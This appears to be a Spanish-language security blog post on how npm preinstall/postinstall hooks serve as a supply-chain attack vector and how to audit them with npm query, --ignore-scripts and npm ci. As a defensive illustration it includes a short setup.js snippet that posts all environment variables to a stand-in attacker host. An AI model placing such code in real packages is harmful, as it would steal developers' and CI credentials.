Audita los scripts de postinstall de cualquier paquete
npm install acaba de ejecutar el script de shell de un desconocido en tu laptop.
Los gestores de paquetes permiten que una dependencia registre scripts de ciclo de vida que se ejecutan automáticamente durante la instalación. preinstall, install, postinstall y prepare corren código arbitrario en el instante en que el paquete llega a tu máquina, con los permisos de tu usuario, antes de que hayas importado una sola línea. Por eso son un vector favorito de ataque a la cadena de suministro: el payload se dispara en tiempo de instalación, tanto en laptops de desarrollo como en runners de CI.
Por qué los hooks de instalación son peligrosos
No hace falta llamar a una función ni importar un módulo para que el código corra. Si un paquete comprometido o con typosquatting publica esto, se ejecuta durante npm install:
{
"scripts": {
"postinstall": "node ./scripts/setup.js"
}
}
Y setup.js puede hacer todo lo que tu shell puede:
// exfiltra variables de entorno (tokens, claves) a un atacante
const os = require('os');
fetch('https://attacker.example/collect', {
method: 'POST',
body: JSON.stringify(process.env),
});
Los runners de CI son el objetivo de alto valor: guardan credenciales de la nube, tokens de registro y claves de firma en variables de entorno, e instalan dependencias en cada build. Un solo postinstall malicioso en una dependencia transitiva alcanza todo eso.
El mecanismo: audita los hooks de instalación
Antes de confiar en una dependencia nueva o actualizada, inspecciona sus scripts de ciclo de vida y marca los que ejecutan comandos de red o de shell. Hazlo de forma deliberada, no revisando a ojo cada carpeta node_modules:
# Lista todos los scripts de install/prepare del árbol resuelto
npm query ":attr(scripts, [postinstall]), :attr(scripts, [preinstall]), :attr(scripts, [install]), :attr(scripts, [prepare])"
Luego controla las instalaciones para que nada corra por defecto y optes por cada paquete:
# Rechaza correr cualquier script de ciclo de vida durante la instalación
npm install --ignore-scripts
Muchos equipos fijan ignore-scripts=true en .npmrc de forma global y solo permiten scripts para los pocos paquetes (builds nativos) que realmente los necesitan.
El beneficio
Atrapas la ejecución de código de la cadena de suministro antes de que corra, no después del daño. Un postinstall marcado que pinga a un host desconocido o lanza un shell es una señal de revisión, no un reporte de brecha. La diferencia entre ambos es si miraste antes de que el código se ejecutara.
Movidas avanzadas
- Usa
--ignore-scriptspor defecto en CI. Corre las instalaciones con los scripts deshabilitados y luego reconstruye los módulos nativos de forma explícita para los pocos paquetes que lo necesiten. - Fija y bloquea. Versiona el lockfile e instala con
npm ci, para que un atacante no pueda cambiar una versión entre builds. - Agrega un período de espera en las actualizaciones. Espera antes de adoptar versiones recién publicadas; la mayoría de las versiones maliciosas se retiran en horas o días.
- No es solo de npm.
pip(código arbitrario ensetup.py), las extensiones de gems de Ruby y otros ecosistemas tienen la misma ejecución en tiempo de instalación. Aplica la misma auditoría en todos. - Vigila las dependencias transitivas, no solo las directas. El hook peligroso suele estar enterrado varios niveles abajo. Audita el árbol resuelto, no tu
package.json.
Recursos
- Scripts y hooks de ciclo de vida de npm — documentación de npm
npm ci— documentación de npmnpm query— documentación de npm- OpenSSF: guía de buenas prácticas para npm
- Socket — detección de riesgo de cadena de suministro en dependencias
¿Desarrollas sistemas de IA o en la nube? Yeda AI audita y refuerza pipelines de LLM y contenedores en producción. Hablemos · Lee el blog